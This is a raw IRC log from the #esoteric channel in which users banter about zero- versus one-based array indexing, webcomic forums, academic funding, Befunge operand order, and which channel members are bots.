:Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 265 seconds < 1395950658 478079 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :https://pbs.twimg.com/media/BjwRe8sIIAAryi0.jpg sudden strange craving for chocolate chip cookies < 1395950781 9609 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1395951292 773161 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395951661 468366 :evalj!~jeval@4E5C528A.dsl.pool.telekom.hu JOIN :#esoteric < 1395951794 182683 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :"James II supposedly described St Paul's Cathedral as "awful", "amusing" and "artificial" — i.e. worthy of awe, giving pleasure and made with artifice." < 1395952060 170162 :spiette!~spiette@2607:fad8:4:6:a288:b4ff:fe60:a3b0 QUIT :Remote host closed the connection < 1395952342 508701 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :If you don't use O-O-O correctly, you may get a... check exception < 1395952886 130208 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395953336 159426 :Bike_!~Glossina@wl-nat101.it.wsu.edu JOIN :#esoteric < 1395953577 518241 :evalj!~jeval@4E5C528A.dsl.pool.telekom.hu QUIT :Ping timeout: 240 seconds < 1395953718 649608 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1395953744 778168 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395954005 343175 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Ping timeout: 252 seconds < 1395954137 553936 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1395954327 39092 :chaiomanot!~chaiomano@72-161-30-182.dyn.centurytel.net JOIN :#esoteric < 1395954656 172244 :Sorella_!~queen@201.80.214.167 NICK :Sorella < 1395954895 258438 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :fizzie: my photography friend said "Cool! Nice results!" about your time lapse photos < 1395954911 839298 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :the fact that mathematica's array indexing starts from 1 (and not 0 as it obviously should) came up after class yesterday < 1395954917 309580 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :the mathematicians present blamed the computer scientists and the computer scientists present blamed the mathematicians < 1395954934 268046 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :each side having assumed based on mathematica that that was how the other side did it < 1395954963 740359 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :hm < 1395954979 139630 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :math was invented before the 0, computers after < 1395954992 634795 :Bike_!~Glossina@wl-nat101.it.wsu.edu PRIVMSG #esoteric :shoulda blamed the biologists < 1395955032 959641 :Bike_!~Glossina@wl-nat101.it.wsu.edu PRIVMSG #esoteric :i was also invented after zero < 1395955041 282282 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :Bike_: yeah that seems more correct, unite against a common enemy. though really we should probably just blame and unite against Wolfram. < 1395955053 540672 :Bike_!~Glossina@wl-nat101.it.wsu.edu PRIVMSG #esoteric :hm good point fuck that guy < 1395955065 240894 :Zom-B|aw!~Zom-B@143.177.41.147 PRIVMSG #esoteric :you could say your blueprints were 99.99% done long before that < 1395955306 460496 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :"Should array indices start at 0 or 1? My compromise of 0.5 was rejected without, I thought, proper consideration." — Stan Kelly-Bootle < 1395955333 610617 :Bike_!~Glossina@wl-nat101.it.wsu.edu PRIVMSG #esoteric :i thought dijkstra's argument was pretty solid < 1395955352 479845 :Bike_!~Glossina@wl-nat101.it.wsu.edu NICK :Bicyclidine < 1395955633 406483 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :I,I function Dijkstra'sAlgorithm(Argument Dijkstra'sArgument) { ... } < 1395955659 180164 :Bicyclidine!~Glossina@wl-nat101.it.wsu.edu PRIVMSG #esoteric :um that's clearly a parameter, < 1395955719 758910 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :Dijkstra'sAlgorithm(Dijkstra'sArgument); < 1395955792 911285 :Bicyclidine!~Glossina@wl-nat101.it.wsu.edu PRIVMSG #esoteric :thank god we got that sorted < 1395955927 40494 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :well the mathematicians present were all set theorists, so of course counting starts from 0 since sets start from \emptyset < 1395955959 209513 :Bicyclidine!~Glossina@wl-nat101.it.wsu.edu PRIVMSG #esoteric :what about nonwellfounded sets huh < 1395956365 80849 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :umm, the smallest set still has zero elements < 1395956568 149958 :Bicyclidine!~Glossina@wl-nat101.it.wsu.edu PRIVMSG #esoteric :yeah... well................ < 1395956837 2099 :augur!~augur@129-2-129-33.wireless.umd.edu JOIN :#esoteric < 1395956892 244507 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395957194 291237 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 265 seconds < 1395957257 498251 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1395957355 420368 :spiette!~spiette@2607:fad8:4:6:a288:b4ff:fe60:a3b0 JOIN :#esoteric < 1395957521 234722 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395957842 70406 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1395957938 161126 :Zom-B|aw!~Zom-B@143.177.41.147 NICK :Zom-B|zz < 1395958448 367232 :unmeg!~unmeg@203-58-25-79.static.tpgi.com.au JOIN :#esoteric < 1395958658 21892 :unmeg!~unmeg@203-58-25-79.static.tpgi.com.au QUIT :Client Quit < 1395958724 184110 :Ghoul_!uid6924@gateway/web/irccloud.com/x-qonbvhktmnsgfeyj JOIN :#esoteric < 1395959437 966707 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Finally had a game of Diana: Warrior Princess < 1395961036 933263 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395961435 843217 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Although one of the players seems to really want to bind a book in human flesh < 1395961527 13667 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395961527 241626 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395961555 430276 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395961949 393259 :Bicyclidine!~Glossina@wl-nat101.it.wsu.edu QUIT :Quit: leaving < 1395961955 763535 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395962106 913588 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :What is bf^? < 1395962111 253394 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :You should totally do a Qt domain for PSOX < 1395963160 873804 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395963278 388248 :MoALTz!~no@user-109-243-145-237.play-internet.pl QUIT :Ping timeout: 240 seconds < 1395963923 70502 :Sorella!~queen@201.80.214.167 QUIT :Quit: It is tiem! < 1395963960 983621 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395964149 569621 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395964432 53161 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 265 seconds < 1395964939 611742 :yorick!~yorick@oftn/member/yorick QUIT :Read error: Connection reset by peer < 1395965150 168526 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1395966899 6221 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395967084 691716 :augur!~augur@129-2-129-33.wireless.umd.edu QUIT :Remote host closed the connection < 1395967117 980634 :augur!~augur@129-2-129-33.wireless.umd.edu JOIN :#esoteric < 1395967344 380126 :nooodl!~nooodl@91.177.77.176 QUIT :Quit: Leaving < 1395967389 981334 :augur!~augur@129-2-129-33.wireless.umd.edu QUIT :Ping timeout: 265 seconds < 1395968651 782706 :Ghoul_!uid6924@gateway/web/irccloud.com/x-qonbvhktmnsgfeyj QUIT :Quit: Connection closed for inactivity < 1395969385 249264 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395969619 341126 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395974467 88697 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Sgeo: brainfuck^ is on the wiki. < 1395974497 347805 :Slereah_!~jackal@117.168.90.79.rev.sfr.net QUIT :Ping timeout: 240 seconds < 1395975571 32240 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395977855 258351 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1395977919 748228 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1395977969 787848 :john_metcalf!~digital_w@228.15.125.91.dyn.plus.net QUIT :Ping timeout: 252 seconds < 1395978815 897501 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395978816 179029 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395979047 768725 :Ghoul_!uid6924@gateway/web/irccloud.com/x-bncjqcnuybsbiqah JOIN :#esoteric < 1395979697 247849 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395979759 379953 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Remote host closed the connection < 1395981360 178900 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : fizzie: who is manyhills <-- i would be surprised if fizzie knows, as fizzie is not an iwc forum regular. < 1395981374 608953 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or maybe he is, but he hasn't told me. < 1395981401 889678 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION technically may or may not be; he reads, but has never registered. < 1395981638 580270 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oerjan: well he is mentioned on that one HSV mixup garfield to which taneb and manyhills contributed, so i figured they were in touch somehow < 1395982175 638067 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :link? < 1395982184 457850 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :anyway Taneb knows about both of them. < 1395982204 207134 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oh okay < 1395982308 758852 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also fizzie has _once_ posted to the forum iirc, after he analyzed the random messages on http://www.mezzacotta.net/postcard/about.php < 1395982388 292897 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh http://www.mezzacotta.net/garfield/?comic=519 < 1395982522 337320 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395982607 298064 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :anyway there is some overlap between iwc forum and #esoteric. i got there from here and Taneb got here from there, essentially. < 1395982848 338486 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :IWC? < 1395982865 477979 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :irregular webcomic < 1395982873 133687 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :Ah, nice < 1395982907 477956 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :I guess you can add me as a "got there from here" w.r.t. the forum < 1395982936 328265 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the forum is also for darths & droids and mezzacotta < 1395982949 767943 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also b_jonas iirc although i'm not sure which direction he went < 1395982957 201437 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395982977 128731 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net PRIVMSG #esoteric :mezzacotta is one of my favorite things < 1395982990 420686 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395983016 768067 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :iwc was possibly the first webcomic i started following, and i learned about it here < 1395983104 747954 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :then all the rest of the dmm empire started springing up. i think infinity on 30 credits may have already have died by then. < 1395983165 558354 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm no, not quite. although not very soon after. < 1395983218 979038 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm i suppose i had started reading iwc before io30c died, but not the forum. < 1395983263 329248 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1395984962 451605 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wow one of my newpaper comic sites actually reversed their recent horrible redesign. < 1395984967 669963 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*newspaper < 1395984985 773691 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :postcard is pretty good < 1395985024 598621 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it lets you use your imagination for sure < 1395985073 181209 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :no i torrented the original pics < 1395985081 390941 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :OKAY < 1395985085 989714 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :OKAY < 1395985092 709734 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :so i didn't get postdoc funding :( < 1395985099 170769 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1395985134 198862 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :my collaborators had the same problem iirc < 1395985140 238607 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :had sort of counted on that, would have made my life a lot easier < 1395985185 108505 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which means that they've been productively working in industry for years since, hth < 1395985220 879032 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :THAT'S NOT FUNNY < 1395985252 658564 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(one of them started this http://www.ohloh.net/p/opm) < 1395985274 259241 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oklopol: it's tragicomic hth < 1395985382 578598 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i'm still pretty confident i'll get _some_ funding, but it's less clear whether i'm going to chile (which was my plan) < 1395985385 178645 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(i.e. just like the universe in general) < 1395985423 468548 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh that's a shame < 1395985479 139223 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i was supposed to have gone to ottawa during my postdoc but it coincided with my personal crashlanding so i just stumbled through in trondheim instead. < 1395985518 39869 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(admittedly 3 papers may be considered a little better than stumbling through.) < 1395985669 438807 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :also the plan is to finish my phd thesis by monday < 1395985681 488628 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :my mind still boggles a little that he managed to get that industry collaboration project to use GPL 3.0 < 1395985712 428602 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :(although i have lost roughly 50% of my motivation) < 1395985722 419054 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah. < 1395985727 878646 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :(so maybe i just won't submit it and become a hermit instead) < 1395985761 302750 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :just move in with perelman and his mother < 1395985771 416345 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i still have no idea how you can make money with free things < 1395985807 338999 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oklopol: well the idea here is they all cooperate on software they need to earn money other ways < 1395985833 77824 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :right < 1395985836 518706 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also, support services. < 1395985930 79311 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :basically, industry wants not just the software but a guarantee that someone will keep it working; they can pay a lot for the latter even if the former is free. < 1395985961 472987 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :afaiu anyway. < 1395985977 235070 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :that makes sense < 1395985997 333134 :password2!~password@197.78.129.191 JOIN :#esoteric < 1395986157 805515 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395986871 911784 :Zom-B|zz!~Zom-B@143.177.41.147 NICK :Zom-B < 1395986937 856516 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :For the record, I know nothing about "manyhills" except that the name sounds vaguely familiar. < 1395986945 479278 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :in befunge, what order do i push numbers when doing math < 1395986954 139248 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :left < 1395987004 279442 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :why is Bike @ < 1395987019 763060 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :god is here. < 1395987021 970709 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu MODE #esoteric +v :shachaf > 1395987022 315770 NAMES :#esoteric < 1395987049 468 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :speaking of which, on every other irc network i come, there is an unwritten rule that bots are % < 1395987055 149356 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :so that they can be recognized < 1395987064 358951 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :Bike, what do you mean < 1395987065 759323 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :why am i +v :'( < 1395987066 328426 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :does freenode even have halfops? < 1395987071 111238 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu MODE #esoteric -v :shachaf > 1395987071 133156 NAMES :#esoteric < 1395987071 545480 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I don't think it does. < 1395987073 86083 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :which order do i push a and b < 1395987074 119135 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :also, we're all bots in here < 1395987103 631230 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :you are so bot! (dutch for: blunt) :] < 1395987109 984011 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :bots used to be conventionally voiced on some espernet channels i use, but a server migration made the ops decide that was unnecessary < 1395987118 179781 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :it says push a and b < 1395987123 830723 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but doesnt tell the order < 1395987132 543053 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you could try it and find out. < 1395987132 739114 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :is a stack[2] and b stack[1]? < 1395987173 909939 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :also, why are the get and put instructions have x and y backwards < 1395987211 452007 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :anyway the ops are, let's see, probably applybot, clog, EgoBot, fungot, glogbot, idris-ircslave, jconn, lambdabot, monotone, myndzi sometimes, and i think that's it < 1395987212 169336 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Bike: runtime error: invalid literal for int(): esoteric and up the top left two thirds as though it ought to be an extension language in xemacs, is there < 1395987215 293232 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :bots, not ops < 1395987222 124905 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :how esoteric we talkin', fungot? < 1395987222 449296 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Bike: i think i should train it with data. it builds up < 1395987227 481224 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i concur < 1395987237 426186 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Bike: monotone is a bot? < 1395987241 511551 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and who is applybot < 1395987253 299258 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :^ignore < 1395987253 509942 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :^(EgoBot|HackEgo|toBogE|Sparkbot|optbot|lambdabot|oonbotti|cuttlefish|ruddy|preflex|evalj|idris-ircslave|passwordBOT)! < 1395987256 156318 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i think applybot is one of those fancy theory provey things < 1395987261 571878 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :applybot: 2+2 < 1395987261 759085 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : *** Unrecognized command < 1395987266 355871 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :applybot: help < 1395987266 593731 :applybot!~applybot@unaffiliated/jafet PRIVMSG #esoteric : Meta-commands: colour context help info load* restart shutdown* state timeout* undo unicode unload* \ Isabelle commands: apply by declare defer definition done find_theorems fun function lemma oops prefer primrec quickcheck term termination thm try0 typ unfolding using value < 1395987325 499181 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fizzie: cuttlefish got renamed to metasepia < 1395987334 560204 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, that's true. < 1395987347 339657 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I keep messing that up since I always just look it up from my fungot query or something. < 1395987347 619457 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: so why should an engineer care whether a feature is used, though. calling with would be horribly ironic... < 1395987347 806061 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i don't remember all of monotone's commands < 1395987351 55362 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :monotone: @anidb goro goro iki < 1395987351 379422 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(It's not persisted to file.) < 1395987374 713424 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :help < 1395987398 872896 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :fungot: i require assistance < 1395987399 199698 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Bike: could you please specify what exactly you mean " user decidable"? :p < 1395987410 109437 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :monotone: help < 1395987424 409246 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION suspects Bike is joking < 1395987451 737004 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :monotone: @help < 1395987454 101236 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1395987460 312118 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :hm < 1395987510 859049 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION is disturbed that Bike actually thinks monotone is a bot < 1395987559 649095 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: well there you go, we can't give the bots flags when we cannot agree who they are. < 1395987590 419323 :ion!ion@heh.fi PRIVMSG #esoteric :I respond to licking. < 1395987610 212113 :Zerker!~zerker@24-205-85-23.dhcp.psdn.ca.charter.com JOIN :#esoteric < 1395987612 349575 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :well someone must've put them here so they outghtta do it < 1395987615 130390 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION licks ion, thinks he tastes salty < 1395987627 189773 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: whoa, whoa, whoa < 1395987629 402743 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :unless we have some ghosts in the machine < 1395987635 691329 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :alas, no voight-caauamp on the interwebs < 1395987637 909499 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :anyone can get the international flag of bots < 1395987860 605728 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :maybe we could test eir vagus nerve response < 1395987865 382143 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :fun fact: "bots" is the hebrew word for "mud" < 1395987884 219344 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :fun fact: there is nothing fun about the previous fact < 1395987899 969350 :ion!ion@heh.fi PRIVMSG #esoteric :fun fact: there is nothing fun about this fact < 1395987914 760546 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: well as long as you don't start your messages with silly characters like @ (and what twat would do that) or mention their name, the only bot that regularly responds is myndzi and he's not actually one < 1395987928 849740 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so it's not like the bots are a problem < 1395987933 219029 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i just finished my mandelbrot in Floater, or so i thought < 1395987933 444898 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :iot turns into a weird shape: https://www.dropbox.com/s/tpt5r2a79lesnju/floater-mandelheart.png < 1395987993 580934 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :mud is also fun < 1395988052 450173 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :shachaf: i hear "pippi" is hebrew for kiss or something, which is all sorts of fun for translators from swedish < 1395988057 701056 :ion!ion@heh.fi PRIVMSG #esoteric :mud bots are fun squared. < 1395988083 139432 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric ::] < 1395988089 260631 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :oerjan: it is similar to english "pee" < 1395988094 949883 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :shachaf: aha < 1395988136 110318 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :otoh sv:kissa = en:pee so it all evens out < 1395988137 689358 :ion!ion@heh.fi PRIVMSG #esoteric :Does English pee taste like tea? < 1395988145 408930 :passwordBOT!~passwordB@197.78.129.191 JOIN :#esoteric < 1395988175 579617 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ion: only in medical conditions < 1395988198 718274 :password2!~password@197.78.129.191 PRIVMSG #esoteric :i heard you guys are talking bout bots < 1395988209 319530 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION now imagines a culture obsessed with pee time < 1395988221 291249 :ion!ion@heh.fi PRIVMSG #esoteric :Every time i drink Earl Grey flavored tea i wonder how they know what he tasted like. < 1395988222 935533 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :pippi långstrump's name is translated as "gilgi" or "bilbi" usually < 1395988261 190180 :ion!ion@heh.fi PRIVMSG #esoteric :Does she have a ring of power? < 1395988317 746224 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :now you're giving me `addquote withdrawal again < 1395988481 849436 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :ion: who doesn't < 1395988633 351193 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395989206 742377 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :wow that floater editor reminds me so much of my spiral IDE :/ < 1395989299 569350 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :\o/ befunge in Lua https://gist.github.com/infinikiller64/9826754 < 1395989466 439737 :Zom-B!~Zom-B@143.177.41.147 NICK :Zom-B|aw 